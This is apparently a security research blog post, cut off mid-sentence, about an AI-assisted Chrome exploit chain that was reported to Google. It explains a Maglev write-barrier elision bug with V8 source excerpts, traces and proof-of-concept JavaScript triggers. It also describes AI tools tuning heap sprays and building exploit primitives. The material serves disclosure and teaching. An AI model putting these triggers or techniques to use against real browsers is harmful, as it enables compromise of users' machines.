{"slug": "journey-to-root-episode-i-the-maglev-king", "title": "Journey to Root, Episode I: The Maglev King", "summary": "A team of security researchers used AI tools including Gemini, Claude, and Codex to discover and exploit five vulnerabilities in Google Chrome, earning $117,000 in bug bounties. The three-month effort targeted V8's Maglev compiler and GPU process, with AI accelerating heap spray tuning and memory recovery via Sterbenz's lemma. The series details the full exploit chain on Windows and a novel Linux technique.", "body_md": "# Journey to Root, Episode I: The Maglev King\n\n### Hacking Chrome with AI\n\n**Table of Contents**\n\n**Introduction**\n\nWelcome to the first installment of our series on AI-assisted browser bug hunting and exploit development. We will walk you through a Google Chrome exploit chain, from the V8 JavaScript engine in the renderer to the GPU process. We demonstrate the full chain on Windows, and for the GPU compromise we also show a novel technique on Linux, where the mitigations are tougher to defeat.\n\nThe exploit chain, comprising 5 vulnerabilities, took 3 months of part-time effort to go from initial discovery to complete exploitation. We found the first bug in March 2026, started working on this chain in April, and had a reliable exploit by the first week of June. We used a mixture of tools (Gemini, Claude, and Codex) to complete the majority of the work, and collected a total of US$117,000 in the Chrome Vulnerability Reward Program.\n\nAI carried a large share of this work, and it accelerated nearly every stage, from fine-tuning a heap spray to applying a math lemma to recover memory bytes. At one point we were stuck beating ASLR in the GPU process. We could read memory, but it came back to us as float coordinates rendered as pixels. We didn't know how to convert those pixels back to raw bytes, until Claude pointed us to Sterbenz's lemma, which makes the subtraction in our refinement loop exact and recovers bytes losslessly. It certainly helps when your collaborator has most of human knowledge on call.\n\nEven so, our human researchers stayed in the driver's seat, steering the tools and making the calls that mattered. Neither side could have done this alone. The AI needed experienced hands to aim it and check its work, and the researchers needed the AI both to cover ground that would otherwise have taken far longer and, at times, to connect a dot that lay outside their own expertise, like the lemma above.\n\nWe grew up watching \"Journey to the West\": the Monkey King escorting the monk Xuanzang from Tang China to India to fetch the Buddhist scriptures, clearing 81 tribulations along the way. Breaking a modern browser is its own road West. The scripture waiting at the end is code execution deep inside Chrome, and each vulnerability in the chain is one more tribulation between us and it.\n\nAI lent us something like the Monkey King's own magic, the somersault cloud that crosses in a single leap ground that once took us days on foot, and the 72 transformations that slip past obstacles brute force alone could not. So consider this series our pilgrimage, and Episode I begins with the Maglev King: a bug in V8's Maglev compiler.\n\nHere is what the chain looks like in action:\n\nYou'll get the most out of this series by following along in the testing environment below:\n\nWindows 11 x64 Build 26200.8457\n\nV8 version 14.6.202.33, commit\n\n`f09a91282a26caa91d016c962d785d852cfdec36`\n\nYou can find the PoCs in [ poc/](poc/). To follow along, you'll want a build of\n\n`d8`\n\n(the V8 developer shell) at the pinned commit above; the [covers building](poc/README.md)\n\n`README.md`\n\n`d8`\n\nand running each PoC.We also assume some basic knowledge of browser exploitation. If that's new to you, [LiveOverflow's browser exploitation series](https://liveoverflow.com/topic/browser-exploitation/) is a good starting point. Samuel Groß's Phrack article [Attacking JavaScript Engines](https://phrack.org/papers/attacking_javascript_engines.html) and his [JITSploitation series](https://projectzero.google/2020/09/jitsploitation-one.html) on Project Zero are seminal work in this space. We also recently invited Sam to give a [talk on the state of browser exploitation](https://www.youtube.com/watch?v=maWnIKH3JQI).\n\nAlthough not necessary, we recommend feeding our articles to your favourite AI agent and asking it anything you might find unclear. As noted in our [Coruna blog post](https://blog.calif.io/p/learning-to-jailbreak-an-iphone-with), AI is the best teacher one can find these days.\n\n**Why Do We Do This?**\n\nWe started doing this for fun, as a way to measure how far our capabilities can be accelerated with the help of AI, and we have no financial motivations behind this effort. The results came out spectacular in terms of how *fast* we achieved it:\n\nThe first vulnerability in the GPU process was found at the beginning of March 2026. About 1 month later, the remaining vulnerabilities were found in the V8 engine.\n\nWe finished the exploits for the renderer vulnerabilities within 2 weeks of their discovery and reported them to Google.\n\nAt the beginning of May 2026, we completed the exploit chain demonstration for Windows. Reliability fell short of expectations, so we spent a couple more weeks tuning the exploit on and off, reaching ~100% afterward.\n\nAll of this was accomplished by a team of 3 part-time members. The researcher who found all those bugs, Quang Luong, had virtually no background in browser research before this run. In the past, the same effort by top offensive security firms would have taken from half to a full year, from initial discovery to a reliable exploit, and they basically worked full-time. From a pure impact standpoint, this acceleration means vendors would have to adapt just as fast as threat actors; disclosure policies and security fix deadlines would never be the same again.\n\nThis research is driven by the belief that open-source knowledge helps the community grow, similar to open-source software. In the past few years, such in-depth research was limited to an \"elite circle\", making it hard for beginners (and \"outsiders\") to access. Since early V8 exploits (2017-2018), novel research has declined due to financial and scarcity incentives to keep it private. This has created barriers for new researchers, so fewer novel vulnerability classes and exploitation techniques get disclosed, and security improvements arrive late. Much public research is outdated by the time it appears at conferences, and modern exploits evolve rapidly, leaving fundamentals behind. While determined hackers can still find their way, Chromium's security and fast patch-release cycle show that the open-source model works. It’s increasingly likely that vulnerabilities discovered and exploited by LLMs are also publicly known, which changes where cybersecurity threats come from.\n\n**So, Where Were All The Humans?**\n\nHow did we use AI here? Our guiding principle is that the human is the captain and the AI is the steering wheel. AI shines at repetitive procedural work, while reasoning and verification still need human hands.\n\nWe often had to fight the steering wheel like the Captain above. This was not \"Claude exploit Chrome full chain, make no mistake\"; we tried to be the major origin of ideas, direction, and verification. AI is indisputably better at holding a lot of things in working memory thanks to its large context window, giving it some big-brain moments (such as the aforementioned application of Sterbenz's lemma), though we did observe it struggle at times. Here are the times we took the W(in) and when Claude, Codex, and Gemini did:\n\nHuman W: The decisive factor in discovering these vulnerabilities, especially the GPU ones found with Gemini, was in\n\n**how we choose the information to feed into AI**. We did this without any agentic action. We essentially told AI to give us a candidate shortlist of exploitable bugs, then we looked at it, talking back and forth to confirm or reject the candidates. This methodology was discussed by our team member Quang Luong at the recent[Real World AI Security conference](https://seclab.stanford.edu/RealWorldAIsec/)at Stanford University.Human W: We tried leaving Claude to work on its own to port the exploit chain from the V8 interactive shell to the Chrome browser, where we could no longer use the\n\n`%TerminateExecution`\n\nbuilt-in as a realistic trigger for the JSPI bug. To our surprise, it never discovered the faking of this internal exception despite trying many strategies. We gave it a single nudge: “Fake Terminate Exception object”, and it figured it out immediately.AI W: A big part of this exploit chain is spraying to reclaim the stale memory and shaping the heap to our advantage. If you have ever exploited these kinds of vulnerabilities in browsers, you know how fragile it can be at times. We didn't do it manually; Claude and Codex did it for us with very little guidance. We only specified how reliable we wanted the exploit to be, and when they finished, we tested it to confirm the claimed reliability. In addition, to avoid unknowingly triggering garbage collection and messing up the heap layout during early primitives construction, they set up part of the exploit primitives in a “critical zone” where nothing must change to ensure heap stability. This is the kind of work that, given sufficient time and effort, we can still do it, but we felt like spending our time on other tasks than tuning exploits byte-by-byte.\n\nThere are a lot of takes in the security community that, in our opinion, fail to recognize the full picture in such efforts: they either believe that AI has reached the point where it can effortlessly perform this end-to-end with a 100% success rate all the time, or that it is nowhere near human capabilities. From our experience over the past few months working on this, we believe the reality and the future lie somewhere in between: the strongest, most capable researchers will be the ones who know how to drive powerful AI in the right way and in the right direction, and sometimes get crazy ideas from it.\n\nThis may be a hard pill to swallow for some people who feel like things they have spent years studying and doing can suddenly be done somewhat effortlessly. As humans, we have had those feelings too. However, this is exactly why we started this project: to find out where humans stand in this ever-changing wave by looking at the full picture. As of right now, we’ve observed that most repetitive procedural work and simple, localized reasoning work are what LLMs and AI agents excel at. Those are the kinds of work that, given sufficient human time, attention, and a willingness to overcome boredom, can be accomplished without AI, as they have been for years. For example:\n\nTracing the data flow of a variable within a function and nearby functions\n\nRenaming variables and functions, creating structures in reverse engineering work\n\nRepeatedly tuning heap spray parameters in exploits\n\nOn the contrary, there are kinds of work where we still have an edge compared to AI:\n\nChoosing which information to give attention to, which is crucial, given the large but still limited context window of LLMs.\n\nCase-by-case insight into the exploit development process, which can only be built by exposure and experience.\n\nLong reasoning chain across many abstraction layers.\n\nOf course, it isn’t always a clear split. In the end, it all comes down to what we, as human beings, want to achieve. There isn’t an obvious difference between an all-human and an all-AI bug discovery or exploit, and the line is getting harder to tell day by day. Do you want to train to become the master of the craft yourself, or do you want to train to solely feel good about owning the products of the craft? This is where it makes a difference: a true master can tell good from bad (like telling gold from slop), and a sole feel-good owner can’t. We hate to be the bearer of bad (or just real) news, but it is what it is, so pick your poison.\n\nAnd yes, this post (and series) is proudly brought to you by a human writer. We can let machines handle the technical work and fact-check us on grammar, typos, and technical details, but we believe there is value in communicating with each other as humans. So we are deeply grateful that you read it yourself.\n\n**Anatomy Of An Exploit Chain**\n\nTo understand how attackers can compromise modern web browsers, we start with an example of the Chromium browser architecture, as illustrated below:\n\n*Chromium browser architecture (simplified)*\n\nAs with most modern web browsers, Chromium employs a multi-process architecture with highly specialized processes and strict separation of privilege levels. The implementation varies slightly by operating system, but the idea is least privilege. Each process gets only what it needs for its job, so a compromised low-privilege process does not bring down the whole browser.\n\nIn a typical web browser usage scenario, web content, such as HTML/CSS/JS, is treated as untrusted data by the browser. The first thing a user interacts with in a browser session is the renderer process, which houses all that untrusted data. It is therefore reasonable to assume that the renderer is the most likely to be compromised first when attacking a web browser, and that it must be the most contained, with the least privileges, of all processes in the web browser process tree.\n\nAs shown in the model above, to compromise the entire web browser, one typically starts in the V8 JavaScript engine or the rendering engine, then either breaks the browser sandbox boundary by directly compromising the browser process or the underlying OS kernel, or takes a detour through more privileged but still restricted processes, such as the GPU process. Depending on the purpose of the exploit chain, the destination can be anywhere on the path from the renderer process to the OS kernel.\n\nOur exploit chain consists of 2 parts: compromising the renderer and then the GPU process.\n\nFor the renderer compromise, we used 3 vulnerabilities: 1 in Maglev compiler optimizations for the initial caged primitives, 1 in JavaScript Promise Integration for V8 sandbox escape code execution, and 1 in\n\nof a legacy feature for an information leak that facilitated the V8 sandbox escape.`ExternalOneByteString`\n\nFor the GPU component, we used 1 information leak and 1 for read/write/control primitive.\n\nIn this post, we will walk you through the renderer exploitation of this chain.\n\n**Renderer Exploit Chain Overview**\n\nHere is a map of where we are headed: the chain breaks V8 to build its exploit primitives and ends in renderer code execution. Come back to this illustration if the details blur along the way.\n\n*The exploit chain, from Maglev bug to renderer code execution*\n\n**Act I: A Forgotten Barrier That Derails Maglev**\n\nIn our initial foothold, we exploited a representation-confusion bug in Maglev that led to incorrect write-barrier elision. We need to understand a few key concepts before diving in.\n\n**Core Concepts**\n\n**Maglev**\n\nThe V8 JavaScript engine uses a multi-tiered compilation pipeline to optimize JavaScript code into native machine code. Based on the “hotness” of the executed code, V8 decides how far in the pipeline the code will be optimized, using execution feedback. If the optimized code invalidates any previous assumptions derived from the feedback during runtime, it will be deoptimized back to the interpreted bytecode to ensure correctness.\n\n*V8 JavaScript compilation and optimization pipeline*\n\nEach tier in this pipeline has its own intermediate representation (IR) of the program being operated on. For example, during the interpreter phase, the JS source code is interpreted into Ignition bytecode, while optimization compilers like Maglev and Turboshaft use a lower-level IR that is closer to native machine instructions.\n\nMaglev is V8's mid-tier JIT optimization compiler, which operates on a Control-Flow Graph (CFG) representation of the program. Each node in this graph uses the Maglev IR and has known information attached, derived from execution feedback in earlier phases. Among this information, one important kind is type information. This is a major part of the optimization passes Maglev performs, since many optimizations rely on type assumptions to eliminate checks that are proven unnecessary. For example, say Maglev is trying to optimize the following JS function:\n\n```\nfunction add(a, b){\n    return a + b;\n}\n```\n\nIf, during the execution of this function prior to optimization, V8 has only seen integer values being passed to the function, it will compile it down to the following machine instructions:\n\n```\nmov rax, rdi\nmov rbx, rsi\nadd rax, rbx\n```\n\nAs long as the parameters being passed to `add`\n\nremain integers, the machine will execute it correctly. However, if this is not the case, Maglev will need to perform additional runtime checks before treating the function's parameters as integers. We know that JavaScript is a dynamically-typed language, so it is technically possible to do things like “adding” strings together, or an integer to a string.\n\nIn Maglev, values and representations are two distinct but related concepts. A single value can have multiple representations, or \"views\". This is similar to how, in C programs, the same value in memory can be cast to different types and operated on differently. In the world of Maglev, there are 2 main value representations:\n\nUntagged values, which are essentially machine-native types such as raw pointers, IEEE-754 floating-point numbers, and 32-bit integers.\n\nTagged values, which are V8 values encoded as\n\ns or Small Integers (`HeapObject`\n\n). Under Chrome's pointer compression, a`Smi`\n\n`Smi`\n\nis a 31-bit signed integer,`-2^30`\n\nto`2^30 - 1`\n\n(about ±1 billion). A`HeapObject`\n\nis the other case: a pointer (low bit set) to an object on the heap. Any number that doesn't fit a`Smi`\n\nis boxed as a.`HeapNumber`\n\nThe distinction is that untagged values use all the bits to represent the values themselves, while tagged values use the least significant bit to mark the value as an object or an integer.\n\nMaglev doesn't read those bits to decide tagged versus untagged. A value's representation is a static property the compiler assigns to each node and tracks through the graph, so a wrong representation is dangerous: no bit in the word can catch it.\n\nRegarding the one-value-multiple-representation relations, Maglev has a term called \"alternative\", implemented by the `AlternativeNodes`\n\nclass. Alternatives of a node record the representations the compiler has already produced for that value, and they double as a cache: the first time a node is needed in some representation, Maglev emits the conversion and stores the result as that node's alternative, so later uses reuse it instead of converting again. Because the cache lives on the value node, a conversion emitted for one operation becomes a fact that any later use of the same value can pick up.\n\nFor example:\n\n``` js\nlet x = obj.n;            // x starts as a single tagged value\nlet arr = new Int32Array(2);\narr[0] = x;              // converts x to int32; the int32 is cached on x\narr[1] = x;              // reuses the cached int32; x is not converted again\n```\n\nThe first store needs `x`\n\nas an int32, so Maglev converts it and caches the result on `x`\n\n. Now `x`\n\nhas two views, tagged and int32, and the second store reuses the cached int32 instead of converting `x`\n\nagain.\n\n*Additional reading: Maglev - V8’s Fastest Optimizing JIT*\n\n**Garbage collection and write barriers**\n\nThe V8 JS engine uses a generational garbage collector (GC), in which allocations are divided into spaces based on how many times they survive a garbage collection iteration: freshly allocated objects and objects surviving one GC reside in the **Young Space**, while objects surviving two or more GCs are evacuated and reside in the **Old Space**.\n\nThe GC process is divided into 2 subprocesses: the **Minor GC**, which collects only in the Young Space, and the **Major GC**, which collects the whole heap. The Minor GC runs much more frequently than the Major GC. This is based on the Generational Hypothesis, which states that most objects die young, so collecting only the young generation reclaims most of the garbage while staying cheap.\n\nTo collect, the GC must first identify which objects are still live. It does so by traversing the object graph, starting from a known set of live objects called the **roots**, and whatever it cannot reach is considered dead and freed. This traversal is expensive, so its scope, and therefore the set of roots, differs between Minor GC and Major GC.\n\nThis is where the Minor GC hits a problem. It only wants to scan the Young Space, but a young object can be kept alive by a pointer that lives in the Old Space.\n\nIf the Minor GC only looks inside the Young Space, it never sees that Old-to-Young pointer, wrongly concludes `youngObj`\n\nis dead, and frees it, leaving `oldObj`\n\nwith a dangling reference. The obvious fix, scanning the Old Space to find such pointers, is exactly the whole-heap traversal a Major GC does, so it defeats the purpose of having a cheap Minor GC in the first place.\n\nTo solve this, V8 maintains **remembered sets** that record Old-to-Young references, and the Minor GC treats them as an additional set of roots. That way it learns about these references without scanning the Old Space.\n\nThe remembered sets have to be kept accurate, and this is where **write barriers** come in. In V8, they are pieces of code that run after a pointer store into a heap object and record the reference into the remembered sets if the store created an Old-to-Young pointer:\n\n```\nstore pointer into object.field   →   write barrier runs   →   remembered set updated\n```\n\nWhile this seems minor compared to traversing the whole heap, write barriers are still an expensive cost in optimized code, so Maglev (as well as other optimizing compilers) tries its best to skip them whenever they are proven unnecessary. A store of a `Smi`\n\n, for instance, never needs a barrier, because a `Smi`\n\nis not a pointer.\n\nSecurity issues often arise when write barriers are incorrectly skipped, or in V8's terms, \"elided\". If a barrier that was actually needed is elided, the Old-to-Young pointer never makes it into the remembered set. The Minor GC then frees a young object that is still referenced, leading to a use-after-free. This is precisely the class of bug that opens our exploit chain: an optimizer convinced a store is barrier-free when it is not.\n\n*Additional readings: Trash talk: the Orinoco garbage collector and Orinoco: young generation garbage collection*\n\n**JavaScript variable kinds**\n\nIn JavaScript, where a variable is stored depends on how it is declared. A `let`\n\nand a `var`\n\ncan produce different bytecode in V8. In particular, at the script's top-level:\n\nA variable declared with the\n\n`var`\n\nkeyword becomes a global property.A variable declared with the\n\n`let`\n\nkeyword is stored in the script context.\n\nAt the top level, a `var`\n\nis literally a property of the `globalThis`\n\nobject. In V8's terms, storing to a `let`\n\ngoes through the [ ContextCell](https://github.com/v8/v8/blob/f09a91282a26caa91d016c962d785d852cfdec36/src/objects/contexts.h#L899) paths, while storing to a top-level\n\n`var`\n\ngoes through the global property path backed by a [.](https://github.com/v8/v8/blob/f09a91282a26caa91d016c962d785d852cfdec36/src/objects/property-cell.h#L22)\n\n`PropertyCell`\n\n``` js\nd8> var cV = 1337\nundefined\nd8> globalThis.cV\n1337\nd8> let cL = 1337\nundefined\nd8> globalThis.cL\nundefined\nd8> cL\n1337\n```\n\n**Cell state vs value representation**\n\nWhen reviewing V8's source code, it is common to encounter type enums such as `kConstant`\n\n, `kTagged`\n\n, `kSmi`\n\n, and `kInt32`\n\n. The same names show up in two very different contexts, so it is easy to conflate them. The key is to keep straight which one describes the **container** (the variable) and which describes the **contents** (a single value):\n\n**Cell state** describes the*container*. A`PropertyCell`\n\n(backing a top-level`var`\n\n) or a`ContextCell`\n\n(backing a`let`\n\n) is the storage slot for a variable, and its state records what the compiler has learned about that slot over time, across assignments. For example, a`PropertyCell`\n\nstate of`kConstantType`\n\nmeans the compiler expects future writes to this cell to keep being the same kind of value. The relevant enum classes areand`ContextCell::State`\n\n.`PropertyCellType`\n\n**Value representation** describes the*contents*. As mentioned above, a single value can be viewed in several ways, and a value representation is simply how the compiler views one value at a given moment, for example as a tagged`Smi`\n\nor as a raw untagged int32. The relevant enum class is, which lists every representation a value can take.`ValueRepresentation`\n\nThe two meet when the compiler stores a value into a variable, and it helps to read that store as a handshake between a **source** and a **destination**:\n\nThe\n\n**value representation is the source**: it is where the compiler reads the value from, and it decides how the value gets extracted (say, pulling an int32 out of a node).The\n\n**cell state is the destination**: it is the slot being written to, and it dictates what kind of value is legally allowed to land there.\n\nSo each store asks: \"I have a value in *this* representation; is that legal to place into a cell in *this* state?\" Getting that question wrong is exactly where the bug in the next section lives.\n\n**The Bug**\n\nThe bug is in `MaglevGraphBuilder::BuildCheckSmi`\n\n. At compile time, Maglev uses it to decide whether an optimized store needs a run-time `CheckSmi`\n\n, a guard that verifies a value really is a `Smi`\n\n(Small Integer). If it can prove the value is a valid `Smi`\n\n, it drops the guard. To reach that conclusion it has a shortcut for constants, and that shortcut is where the bug lives: it checks only whether a value's *number* fits Smi range and treats that as proof the value is a `Smi`\n\n. A `HeapNumber`\n\nholding a Smi-range value like `11.0`\n\nslips through, so Maglev treats a heap pointer as an integer and elides the write barrier on a store, breaking the GC's bookkeeping and opening a use-after-free.\n\n*Source: *\n\n`src/maglev/maglev-graph-builder.cc:4114`\n\n```\n/// src/maglev/maglev-graph-builder.cc\n4114 | ReduceResult MaglevGraphBuilder::BuildCheckSmi(ValueNode* object,\n4115 |                                                bool elidable) {\n\t\t...\n4128 |   // For constants, we may be able to skip the runtime check.\n4129 |   if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {\n4130 |     if (Smi::IsValid(constant_value.value())) return object;\n4131 |   }\n...\n```\n\nLines 4129-4130 are the shortcut. This check is essentially saying:\n\n*If an int32 constant value can be extracted from this node, and this value falls into a valid Smi range (which is 31-bit integers), we don't need a runtime check for this node*\n\nA `CheckSmi`\n\nis meant to guarantee two things: that the value's type is actually `Smi`\n\n, and that its value fits in Smi range. This shortcut confirms only the range, via `Smi::IsValid`\n\n, and wrongly treats that as proof of the type.\n\nThe distinction matters because this is a compile-time decision about a run-time value. At compile time, Maglev sees a constant in Smi range and concludes the value is a `Smi`\n\n, so it removes the check. At run time, the value that actually arrives can be a `HeapNumber`\n\n: a heap object reached through a tagged pointer, which merely holds a Smi-range number like `11.0`\n\n. It satisfies the range claim while failing the type, so it flows past with the Smi badge, and every later pass treats a live pointer as a plain integer.\n\nThis is dangerous at store time. Storing a real `HeapObject`\n\nnormally requires a write barrier so the GC can track the reference, but Maglev now believes it stored a `Smi`\n\nand skips it.\n\n**The Trigger**\n\nThe bug looks simple, but reaching a working trigger is not, at least not on the path we took. Keep in mind that our sole target here is to store a `HeapNumber`\n\ninto an Old Space object with no `CheckSmi`\n\nand no write barrier.\n\n**The strategy.** Maglev only elides the `CheckSmi`\n\nwhen it has, at compile time, convinced itself that the value being stored is a constant integer in Smi range. It comes together in three moves, one per section below:\n\n**Reach the buggy store****Skip the CheckSmi****Clear the check that's left**\n\nWhat follows is the real investigation behind that strategy: at each stage we try something, read the trace or the deoptimization it produces, and let what breaks point to the next move.\n\n**Reach the buggy store: naively storing a **`HeapNumber`\n\n`HeapNumber`\n\nTo start with, the bug results in an elided write barrier, which leads to UAF, so the first thing we need in the trigger is some sort of store operation on a supposedly HeapObject-turned-Smi.\n\n```\nfunction trigger(x) {\n\tv = x;\n}\n```\n\nThe value that flows through `BuildCheckSmi`\n\nis `x`\n\n. For the bug to actually cause harm, four things have to line up at the store:\n\n`x`\n\nlives in**Young Space**.The destination\n\n`v`\n\nis a tagged field in**Old Space**, so eliding the write barrier lets the Minor GC free`x`\n\nwhile it's still referenced, leading to use-after-free.The stored value\n\n`x`\n\nis a`HeapObject`\n\nwhose number sits in Smi range, so it can be mistaken for a`Smi`\n\n.Maglev believes\n\n`x`\n\ncan be a`Smi`\n\n(the Smi-valued warm-up gives it that), so the store takes the Smi-checking path where`BuildCheckSmi`\n\nlives.\n\nTypically, we warm up the function to be optimized and provide hints to the compiler with specific type information. In our case, we want it to think `x`\n\nis a `Smi`\n\n, so we warm it up with a `Smi`\n\nvalue, and then, after it's optimized, we trigger the function with a `HeapNumber`\n\nparameter. So something along this line should trigger the bug:\n\n``` js\n// poc0.js\nconst f64src = new Float64Array(1);\nf64src[0] = 11.0; // Get a HeapNumber\n\nvar cT = 0; cT = 1; // Get cT to be a Smi\n\nfunction ct_only(x) {\n  cT = x;\n}\n\n%PrepareFunctionForOptimization(ct_only);\nct_only(11);\nct_only(11);\n%OptimizeMaglevOnNextCall(ct_only);\nct_only(f64src[0]);\n```\n\nAs covered above, `cT`\n\nis a global `var`\n\n, so it is backed by a `PropertyCell`\n\n(a `let`\n\nwould be a `ContextCell`\n\n), and the two take different store paths in Maglev. The store that reaches the buggy `BuildCheckSmi`\n\nis the `PropertyCell`\n\none. `cT`\n\n's cell lives in **Old Space**, so the buggy store writes into a tagged `value`\n\nslot there, satisfying requirement (2).\n\n`cT`\n\nalso needs to be in a specific state: a cell that has held more than one value, but always of the same type. V8 calls this a `kConstantType`\n\n`PropertyCell`\n\n, and it's the state that sends the store to `GetSmiValue → BuildCheckSmi`\n\n. We set it up by declaring `var cT = 0;`\n\nthen changing the value while keeping the type.\n\nThat type has to be `Smi`\n\n. If the cell's value were a `HeapObject`\n\ninstead, the store would take a different branch and never reach the vulnerable `BuildCheckSmi`\n\n. And since a `PropertyCell`\n\ncan only hold tagged values, initializing `cT`\n\nwith a float or a non-Smi integer doesn't help: underneath, it's boxed as a `HeapObject`\n\n. You can watch this in `%DebugPrint`\n\noutput:\n\n```\n./d8 --allow-natives-syntax --maglev --no-turbofan --trace-maglev-graph-building --print-maglev-graph poc0.js\n...\nn2: InitialValue(a0)\nn8: CheckSmi [n2]\nn9: Constant(0x0bf00101e191 <PropertyCell name=0x0bf00101dff9 <String[2]: #cT> value=11>)\nn10: StoreTaggedFieldNoWriteBarrier(0xc) [n9, n2]\n...\n```\n\n`n8: CheckSmi [n2]`\n\nis emitted by `BuildCheckSmi`\n\n, so its presence means the store to `cT`\n\nreached the buggy function but didn't get the check elided. That `CheckSmi`\n\nstill guards the barrier-free store at `n10`\n\n, so the naive PoC just deopts on the `HeapNumber`\n\n.\n\n**Skip the CheckSmi: building facts around **`x`\n\n`x`\n\nSo why is the `CheckSmi`\n\nstill there? In the trace, `x`\n\nis an `Opcode::kInitialValue`\n\n, a fresh parameter seen for the first time at the store to `cT`\n\n. To trigger the bug, `TryGetInt32Constant`\n\nhas to extract an int32 constant from it, so let's see what it does:\n\n*Source: *\n\n`src/maglev/maglev-graph-builder.cc:4129`\n\n· `src/maglev/maglev-reducer-inl.h:695`\n\n```\n/// src/maglev/maglev-graph-builder.cc\n4129 |   if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {\n4130 |     if (Smi::IsValid(constant_value.value())) return object;\n4131 |   }\n\n/// src/maglev/maglev-reducer-inl.h\n695 | std::optional<int32_t> MaglevReducer<BaseT>::TryGetInt32Constant(\n696 |     ValueNode* value) {\n697 |   switch (value->opcode()) {\n698 |     case Opcode::kConstant:\n\t\t\t...\n706 |     case Opcode::kInt32Constant:\n\t\t\t...\n708 |     case Opcode::kUint32Constant:\n\t\t\t...\n715 |     case Opcode::kSmiConstant:\n\t\t\t...\n717 |     case Opcode::kFloat64Constant:\n\t\t\t...\n723 |     default:\n724 |       break;\n725 |   }\n726 |   if (auto c = TryGetConstantAlternative(value)) {\n727 |     return TryGetInt32Constant(*c);\n728 |   }\n729 |   return {};\n730 | }\n\n// ================================================================================\n485 | std::optional<ValueNode*> MaglevReducer<BaseT>::TryGetConstantAlternative(\n486 |     ValueNode* node) {\n487 |   const NodeInfo* info = known_node_aspects().TryGetInfoFor(node);\n488 |   if (info) {\n489 |     if (auto c = info->alternative().checked_value()) {\n490 |       if (IsConstantNode(c->opcode())) {\n491 |         return c;\n492 |       }\n493 |     }\n494 |   }\n495 |   return {};\n496 | }\n```\n\nWalking that code with `x`\n\n: it matches none of the constant-opcode cases (lines 698-717), so it falls through to `TryGetConstantAlternative`\n\n, which looks for a constant *alternative* recorded on the node (recall: one node can carry several representations). None has been recorded on `x`\n\nyet, so `TryGetInt32Constant`\n\nreturns nothing, the shortcut never fires, and `BuildCheckSmi`\n\nkeeps the `CheckSmi`\n\n.\n\nTo get past this, we need to give Maglev a way to extract that int32 constant from `x`\n\nbefore the store. There are two ways to try:\n\nTransform\n\n`x`\n\ninto a constant node that Maglev can read an int32 from directly.Attach a constant\n\n*alternative*to`x`\n\n, so`TryGetConstantAlternative`\n\nfinds one, without changing`x`\n\nitself.\n\nThe first option is awkward: keeping `x`\n\na `HeapObject`\n\nall the way to the store while turning it into a constant node is hard, so we go with the second. From `TryGetConstantAlternative`\n\nabove, what we need is a `checked_value`\n\nalternative on `x`\n\nthat is a `ConstantNode`\n\n. A `checked_value`\n\nis a constant the compiler has proven the node equals, by emitting a runtime check for it (the `CheckedSmiUntag`\n\nguard we'll have to get past next), so optimized code may treat the node as that constant.\n\nWe need an operation that records a `checked_value`\n\non `x`\n\n. Storing `x`\n\ninto a `kConst`\n\n`ContextCell`\n\ndoes it. In JavaScript, that cell is a top-level `let`\n\nvariable. To keep it `kConst`\n\n, we reuse its initial value during warm-up. Concretely, we add a `let bT = 11`\n\nand store `x`\n\ninto it before `cT`\n\n. Because `bT`\n\nstarts at `11`\n\nand the warm-up passes `11`\n\ntoo, the cell stays `kConst`\n\n, and the `bT = x`\n\nstore records `11`\n\nas `x`\n\n's `checked_value`\n\n. Now the `cT = x`\n\nstore reaches `BuildCheckSmi`\n\nwith an extractable constant, so it should drop the `CheckSmi`\n\n.\n\nIn full, the PoC is:\n\n``` js\n// poc1.js\nconst f64src = new Float64Array(1);\nf64src[0] = 11.0;\n\nlet bT = 11;\nvar cT = 0;\ncT = 1;\n\nfunction bt_ct(x) {\n  bT = x;\n  cT = x;\n}\n\n%PrepareFunctionForOptimization(bt_ct);\nbt_ct(11);\nbt_ct(11);\n%OptimizeMaglevOnNextCall(bt_ct);\nbt_ct(f64src[0]);\n```\n\nRunning it and tracing deoptimization, the store to `cT`\n\nstill fails:\n\n```\n./d8 --print-bytecode  --allow-natives-syntax --print-maglev-graph --trace-maglev-graph-building --trace-deopt poc1.js \n...\n  0x12c00ee4fc8  n2: InitialValue(a0)\n  0x12c01640820  n8: SmiConstant(11)\n   2 : b8 00             ThrowReferenceErrorIfHole [0:\"bT\"]\n   4 : 0b 03             Ldar a0\n   6 : 29 03             StaCurrentContextSlot [3]\n  0x12c01640958  n9: CheckedSmiUntag [n2], 0 uses, but required, cannot truncate to int32\n  0x12c01640a88  n10: CheckValueEqualsInt32(11, Storing to a constant field) [n9]\n  0x12c01640bd8  n11: Constant(0x0afe0102d7f1 <PropertyCell name=0x0afe0102d64d <String[2]: #cT> value=11>)\n  0x12c01640c58  n12: StoreTaggedFieldNoWriteBarrier(0xc) [n11, n2]\n...\n[bailout (kind: deopt-eager, reason: not a Smi): begin. deoptimizing 0x0afe0102d805 <JSFunction bt_ct (sfi = 0xafe0102d745)>, 0x358601000301 <Code MAGLEV>, opt id 0, node id 0, bytecode offset 6, deopt exit 0, FP to SP delta 32, caller SP 0x00016faeda90, pc 0x000150000444]\n```\n\nThe `CheckSmi`\n\nis gone, so planting the constant worked. But a new node took its place, `n9: CheckedSmiUntag`\n\n, and it deopts on the `HeapNumber`\n\n(`reason: not a Smi`\n\n). That's the check we clear next.\n\n**Clear the check that's left: overcoming **`CheckedSmiUntag`\n\n`CheckedSmiUntag`\n\nBecause `bT`\n\nis `kConst`\n\n, the store `bT = x`\n\nfirst checks whether `x`\n\nequals `bT`\n\n's constant, and that check needs to convert `x`\n\nto a raw int32. The conversion Maglev picks, `CheckedSmiUntag`\n\n, produces one by untagging a `Smi`\n\n, which only works if `x`\n\nis physically a `Smi`\n\n, so the `HeapNumber`\n\ndeopts. The fix is to steer Maglev to `CheckedNumberToInt32`\n\ninstead, which accepts any number and converts the `HeapNumber`\n\nwithout a deopt. Maglev uses it only under a precondition that has its own precondition, so we work backward through the chain until it reaches something we can set from JavaScript:\n\n`x`\n\nmust have a`kInt32`\n\nview before the`bT`\n\nstore, and that view is created only by storing`x`\n\ninto a`kInt32`\n\n`ContextCell`\n\n.A\n\n`kInt32`\n\n`ContextCell`\n\nexists only if we make one, by assigning it a number outside Smi range.\n\nWe handle these over the next two steps, then store `x`\n\ninto that `kInt32`\n\ncell before `bT`\n\n.\n\n**Step 1: give x a kInt32 view.**\n\nThe conversion happens inside `GetInt32`\n\n, which first calls `TryGetInt32`\n\nto 